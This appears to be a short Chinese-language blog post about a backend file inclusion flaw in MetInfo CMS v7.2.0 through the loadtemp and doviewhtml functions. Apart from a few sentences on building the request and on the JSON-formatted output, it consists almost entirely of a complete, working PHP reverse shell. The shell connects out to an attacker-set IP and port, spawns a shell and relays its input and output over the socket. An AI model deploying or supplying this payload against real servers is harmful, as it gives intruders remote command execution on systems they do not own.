MetInfo CMS v7.2.0后台文件包含漏洞 - icekind

时间:2024-02-21 08:24:16

MetInfo CMS v7.2.0后台文件包含漏洞

 

 

 写于2020-12-25

 

loadtemp和doviewhtml存在文件包含的可能。

直接构造数据包

 

 

还因为这里是json接口形式下发,所以输出结果会变成这样。

 

 

 

因为他是以json格式输出,所以在能解析PHP的情况下

<?php

set_time_limit (0);

$VERSION = "1.0";

$ip = \'192.168.186.1\';  // CHANGE THIS

$port = 9999;       // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = \'whoami\';

$daemon = 0;

$debug = 0;

 

//

// Daemonise ourself if possible to avoid zombies later

//

 

// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies.  Worth a try...

if (function_exists(\'pcntl_fork\')) {

       // Fork and have the parent process exit

       $pid = pcntl_fork();

      

       if ($pid == -1) {

              printit("ERROR: Can\'t fork");

              exit(1);

       }

      

       if ($pid) {

              exit(0);  // Parent exits

       }

 

       // Make the current process a session leader

       // Will only succeed if we forked

       if (posix_setsid() == -1) {

              printit("Error: Can\'t setsid()");

              exit(1);

       }

 

       $daemon = 1;

} else {

       printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

}

 

// Change to a safe directory

chdir("/");

 

// Remove any umask we inherited

umask(0);

 

//

// Do the reverse shell...

//

 

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

       printit("$errstr ($errno)");

       exit(1);

}

 

// Spawn shell process

$descriptorspec = array(

   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from

   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

);

 

$process = proc_open($shell, $descriptorspec, $pipes);

 

if (!is_resource($process)) {

       printit("ERROR: Can\'t spawn shell");

       exit(1);

}

// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won\'t

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

       // Check for end of TCP connection

       if (feof($sock)) {

              printit("ERROR: Shell connection terminated");

              break;

       }

       // Check for end of STDOUT

       if (feof($pipes[1])) {

              printit("ERROR: Shell process terminated");

              break;

       }

       // Wait until a command is end down $sock, or some

       // command output is available on STDOUT or STDERR

       $read_a = array($sock, $pipes[1], $pipes[2]);

       $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

       // If we can read from the TCP socket, send

       // data to process\'s STDIN

       if (in_array($sock, $read_a)) {

              if ($debug) printit("SOCK READ");

              $input = fread($sock, $chunk_size);

              if ($debug) printit("SOCK: $input");

              fwrite($pipes[0], $input);

       }

       // If we can read from the process\'s STDOUT

       // send data down tcp connection

       if (in_array($pipes[1], $read_a)) {

              if ($debug) printit("STDOUT READ");

              $input = fread($pipes[1], $chunk_size);

              if ($debug) printit("STDOUT: $input");

              fwrite($sock, $input);

       }

 

       // If we can read from the process\'s STDERR

       // send data down tcp connection

       if (in_array($pipes[2], $read_a)) {

              if ($debug) printit("STDERR READ");

              $input = fread($pipes[2], $chunk_size);

              if ($debug) printit("STDERR: $input");

              fwrite($sock, $input);

       }

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

 

// Like print, but does nothing if we\'ve daemonised ourself

// (I can\'t figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

       if (!$daemon) {

              print "$string\n";

       }

}

?>